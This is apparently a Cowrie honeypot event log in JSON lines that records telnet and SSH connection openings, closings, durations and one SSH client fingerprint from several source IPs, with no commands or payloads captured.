{"eventid":"cowrie.session.closed","duration":50.83027672767639,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:09:32.802243Z","src_ip":"174.138.46.234","session":"7491d3dcf079","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.3682746887207,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:09:35.739570Z","src_ip":"174.138.46.234","session":"5548f4cd6264","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.57333493232727,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:10:01.420039Z","src_ip":"174.138.46.234","session":"f996ccb14800","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.97904419898987,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:10:06.028666Z","src_ip":"174.138.46.234","session":"0f695cedd2c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":52.07938766479492,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:10:06.439867Z","src_ip":"174.138.46.234","session":"ce15d11515a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":59826,"dst_ip":"159.203.135.109","dst_port":23,"session":"93dd3dbedc0b","protocol":"telnet","message":"New connection: 174.138.46.234:59826 (159.203.135.109:23) [session: 93dd3dbedc0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:10:06.656135Z"}
{"eventid":"cowrie.session.closed","duration":5.950332880020142,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:10:12.606344Z","src_ip":"174.138.46.234","session":"93dd3dbedc0b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":38354,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c561fed29c1","protocol":"telnet","message":"New connection: 174.138.46.234:38354 (159.203.135.109:23) [session: 9c561fed29c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:10:28.735929Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":38602,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec9e9d05937f","protocol":"telnet","message":"New connection: 174.138.46.234:38602 (159.203.135.109:23) [session: ec9e9d05937f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:10:29.494392Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":46798,"dst_ip":"159.203.135.109","dst_port":23,"session":"e1bb7550c614","protocol":"telnet","message":"New connection: 174.138.46.234:46798 (159.203.135.109:23) [session: e1bb7550c614]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:10:56.742276Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":47184,"dst_ip":"159.203.135.109","dst_port":23,"session":"7decaeb6709d","protocol":"telnet","message":"New connection: 174.138.46.234:47184 (159.203.135.109:23) [session: 7decaeb6709d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:10:57.910343Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":47310,"dst_ip":"159.203.135.109","dst_port":23,"session":"3dd60adaae42","protocol":"telnet","message":"New connection: 174.138.46.234:47310 (159.203.135.109:23) [session: 3dd60adaae42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:10:58.281759Z"}
{"eventid":"cowrie.session.closed","duration":7.8971734046936035,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:11:04.639344Z","src_ip":"174.138.46.234","session":"e1bb7550c614","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.8441338539123535,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:11:04.754327Z","src_ip":"174.138.46.234","session":"7decaeb6709d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.971937417984009,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:11:06.253587Z","src_ip":"174.138.46.234","session":"3dd60adaae42","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00201892852783,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:11:07.525661Z","src_ip":"104.159.79.14","session":"bcca32e026c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.159.79.14","src_port":39780,"dst_ip":"10.17.0.5","dst_port":23,"session":"ddf36973277d","protocol":"telnet","message":"New connection: 104.159.79.14:39780 (10.17.0.5:23) [session: ddf36973277d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:11:07.898633Z"}
{"eventid":"cowrie.session.closed","duration":45.5264892578125,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:11:15.020768Z","src_ip":"174.138.46.234","session":"ec9e9d05937f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.15867328643799,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:11:15.894498Z","src_ip":"174.138.46.234","session":"9c561fed29c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":33606,"dst_ip":"159.203.135.109","dst_port":23,"session":"f7f57de17399","protocol":"telnet","message":"New connection: 174.138.46.234:33606 (159.203.135.109:23) [session: f7f57de17399]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:11:46.305612Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":34006,"dst_ip":"159.203.135.109","dst_port":23,"session":"0adb019b92b4","protocol":"telnet","message":"New connection: 174.138.46.234:34006 (159.203.135.109:23) [session: 0adb019b92b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:11:47.578083Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":33840,"dst_ip":"159.203.135.109","dst_port":23,"session":"b2966866a85b","protocol":"telnet","message":"New connection: 174.138.46.234:33840 (159.203.135.109:23) [session: b2966866a85b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:11:48.065896Z"}
{"eventid":"cowrie.session.closed","duration":3.9428746700286865,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:11:50.248355Z","src_ip":"174.138.46.234","session":"f7f57de17399","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.960176706314087,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:11:52.025956Z","src_ip":"174.138.46.234","session":"b2966866a85b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":33550,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a7e50439e68","protocol":"telnet","message":"New connection: 174.138.46.234:33550 (159.203.135.109:23) [session: 0a7e50439e68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:11:53.101891Z"}
{"eventid":"cowrie.session.closed","duration":6.029114007949829,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:11:53.607068Z","src_ip":"174.138.46.234","session":"0adb019b92b4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.2138776779174805,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:11:56.315698Z","src_ip":"174.138.46.234","session":"0a7e50439e68","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.01075720787048,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:13:07.909272Z","src_ip":"104.159.79.14","session":"ddf36973277d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.159.79.14","src_port":35316,"dst_ip":"10.17.0.5","dst_port":23,"session":"f61d37e1b0e4","protocol":"telnet","message":"New connection: 104.159.79.14:35316 (10.17.0.5:23) [session: f61d37e1b0e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:13:08.447413Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":53256,"dst_ip":"10.17.0.5","dst_port":22,"session":"01cf7a0751ea","protocol":"ssh","message":"New connection: 194.59.206.2:53256 (10.17.0.5:22) [session: 01cf7a0751ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:13:18.860022Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:13:18.865523Z","src_ip":"194.59.206.2","session":"01cf7a0751ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:13:18.953023Z","src_ip":"194.59.206.2","session":"01cf7a0751ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:13:19.044219Z","src_ip":"194.59.206.2","session":"01cf7a0751ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":34012,"dst_ip":"159.203.135.109","dst_port":23,"session":"0137d010a3c2","protocol":"telnet","message":"New connection: 174.138.46.234:34012 (159.203.135.109:23) [session: 0137d010a3c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:13:20.609795Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":34150,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a424902816e","protocol":"telnet","message":"New connection: 174.138.46.234:34150 (159.203.135.109:23) [session: 2a424902816e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:13:21.084400Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":34382,"dst_ip":"159.203.135.109","dst_port":23,"session":"d6a318361457","protocol":"telnet","message":"New connection: 174.138.46.234:34382 (159.203.135.109:23) [session: d6a318361457]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:13:21.993766Z"}
{"eventid":"cowrie.session.closed","duration":6.991046905517578,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:13:27.600722Z","src_ip":"174.138.46.234","session":"0137d010a3c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.91750955581665,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:13:27.911139Z","src_ip":"174.138.46.234","session":"d6a318361457","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"131.196.176.42","src_port":40498,"dst_ip":"159.203.135.109","dst_port":23,"session":"66a524d7a58e","protocol":"telnet","message":"New connection: 131.196.176.42:40498 (159.203.135.109:23) [session: 66a524d7a58e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:13:43.755004Z"}
{"eventid":"cowrie.session.closed","duration":12.344372987747192,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:13:56.099277Z","src_ip":"131.196.176.42","session":"66a524d7a58e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.249.4.97","src_port":43414,"dst_ip":"10.17.0.5","dst_port":23,"session":"02da9e2af4c4","protocol":"telnet","message":"New connection: 41.249.4.97:43414 (10.17.0.5:23) [session: 02da9e2af4c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:13:56.407193Z"}
{"eventid":"cowrie.session.closed","duration":46.08827352523804,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:14:07.172561Z","src_ip":"174.138.46.234","session":"2a424902816e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.230484962463379,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:14:09.637580Z","src_ip":"41.249.4.97","session":"02da9e2af4c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":52408,"dst_ip":"159.203.135.109","dst_port":23,"session":"4adc369e9432","protocol":"telnet","message":"New connection: 174.138.46.234:52408 (159.203.135.109:23) [session: 4adc369e9432]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:14:22.440784Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":52604,"dst_ip":"159.203.135.109","dst_port":23,"session":"ef965ce8d9f0","protocol":"telnet","message":"New connection: 174.138.46.234:52604 (159.203.135.109:23) [session: ef965ce8d9f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:14:23.069626Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":52664,"dst_ip":"159.203.135.109","dst_port":23,"session":"3330b418dd8e","protocol":"telnet","message":"New connection: 174.138.46.234:52664 (159.203.135.109:23) [session: 3330b418dd8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:14:23.225662Z"}
{"eventid":"cowrie.session.closed","duration":3.9623303413391113,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:14:27.187858Z","src_ip":"174.138.46.234","session":"3330b418dd8e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":53016,"dst_ip":"159.203.135.109","dst_port":23,"session":"1b0c58076c60","protocol":"telnet","message":"New connection: 174.138.46.234:53016 (159.203.135.109:23) [session: 1b0c58076c60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:14:27.224374Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":53096,"dst_ip":"159.203.135.109","dst_port":23,"session":"d5fa0758afae","protocol":"telnet","message":"New connection: 174.138.46.234:53096 (159.203.135.109:23) [session: d5fa0758afae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:14:27.412453Z"}
{"eventid":"cowrie.session.closed","duration":6.368670225143433,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:14:28.809324Z","src_ip":"174.138.46.234","session":"4adc369e9432","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.37.119.67","src_port":43472,"dst_ip":"10.17.0.5","dst_port":23,"session":"a9fd4fb55f04","protocol":"telnet","message":"New connection: 41.37.119.67:43472 (10.17.0.5:23) [session: a9fd4fb55f04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:14:28.897378Z"}
{"eventid":"cowrie.session.closed","duration":5.91589093208313,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:14:28.985412Z","src_ip":"174.138.46.234","session":"ef965ce8d9f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.898286819458008,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:14:30.122587Z","src_ip":"174.138.46.234","session":"1b0c58076c60","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.98108172416687,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:14:41.878366Z","src_ip":"41.37.119.67","session":"a9fd4fb55f04","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0093183517456,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:15:08.456600Z","src_ip":"104.159.79.14","session":"f61d37e1b0e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.159.79.14","src_port":33196,"dst_ip":"10.17.0.5","dst_port":23,"session":"e34f1a2b30b9","protocol":"telnet","message":"New connection: 104.159.79.14:33196 (10.17.0.5:23) [session: e34f1a2b30b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:15:08.894131Z"}
{"eventid":"cowrie.session.closed","duration":50.24547743797302,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:15:17.657815Z","src_ip":"174.138.46.234","session":"d5fa0758afae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":40334,"dst_ip":"159.203.135.109","dst_port":23,"session":"b152d5cca047","protocol":"telnet","message":"New connection: 174.138.46.234:40334 (159.203.135.109:23) [session: b152d5cca047]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:15:18.566978Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":40350,"dst_ip":"159.203.135.109","dst_port":23,"session":"407fef00b28f","protocol":"telnet","message":"New connection: 174.138.46.234:40350 (159.203.135.109:23) [session: 407fef00b28f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:15:19.635393Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":40490,"dst_ip":"159.203.135.109","dst_port":23,"session":"a919a541d632","protocol":"telnet","message":"New connection: 174.138.46.234:40490 (159.203.135.109:23) [session: a919a541d632]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:15:20.048519Z"}
{"eventid":"cowrie.session.closed","duration":3.0292482376098633,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:15:23.077627Z","src_ip":"174.138.46.234","session":"a919a541d632","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":41898,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad9d115cfafe","protocol":"telnet","message":"New connection: 174.138.46.234:41898 (159.203.135.109:23) [session: ad9d115cfafe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:15:23.409845Z"}
{"eventid":"cowrie.session.closed","duration":5.090328216552734,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:15:23.657206Z","src_ip":"174.138.46.234","session":"b152d5cca047","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.99671483039856,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:15:24.631971Z","src_ip":"174.138.46.234","session":"407fef00b28f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":42466,"dst_ip":"159.203.135.109","dst_port":23,"session":"5bbdf23055f8","protocol":"telnet","message":"New connection: 174.138.46.234:42466 (159.203.135.109:23) [session: 5bbdf23055f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:15:25.092456Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":50112,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b51ce4436b2","protocol":"telnet","message":"New connection: 174.138.46.234:50112 (159.203.135.109:23) [session: 9b51ce4436b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:15:50.929887Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":52672,"dst_ip":"159.203.135.109","dst_port":23,"session":"a026aea24999","protocol":"telnet","message":"New connection: 174.138.46.234:52672 (159.203.135.109:23) [session: a026aea24999]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:16:00.555799Z"}
{"eventid":"cowrie.session.closed","duration":49.46195435523987,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:16:12.871680Z","src_ip":"174.138.46.234","session":"ad9d115cfafe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.231415033340454,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:16:16.323772Z","src_ip":"174.138.46.234","session":"5bbdf23055f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":34992,"dst_ip":"159.203.135.109","dst_port":23,"session":"6ddcaa3dbd65","protocol":"telnet","message":"New connection: 174.138.46.234:34992 (159.203.135.109:23) [session: 6ddcaa3dbd65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:16:35.614724Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":35374,"dst_ip":"159.203.135.109","dst_port":23,"session":"33f91288c1ec","protocol":"telnet","message":"New connection: 174.138.46.234:35374 (159.203.135.109:23) [session: 33f91288c1ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:16:36.879951Z"}
{"eventid":"cowrie.session.closed","duration":5.937429904937744,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:16:41.552021Z","src_ip":"174.138.46.234","session":"6ddcaa3dbd65","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.967318773269653,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:16:42.847154Z","src_ip":"174.138.46.234","session":"33f91288c1ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":55.02521085739136,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:16:45.954980Z","src_ip":"174.138.46.234","session":"9b51ce4436b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.62122082710266,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:16:48.176695Z","src_ip":"174.138.46.234","session":"a026aea24999","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":44022,"dst_ip":"159.203.135.109","dst_port":23,"session":"a3d9a913f693","protocol":"telnet","message":"New connection: 174.138.46.234:44022 (159.203.135.109:23) [session: a3d9a913f693]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:17:06.766285Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":44254,"dst_ip":"159.203.135.109","dst_port":23,"session":"302701c57fb9","protocol":"telnet","message":"New connection: 174.138.46.234:44254 (159.203.135.109:23) [session: 302701c57fb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:17:07.391769Z"}
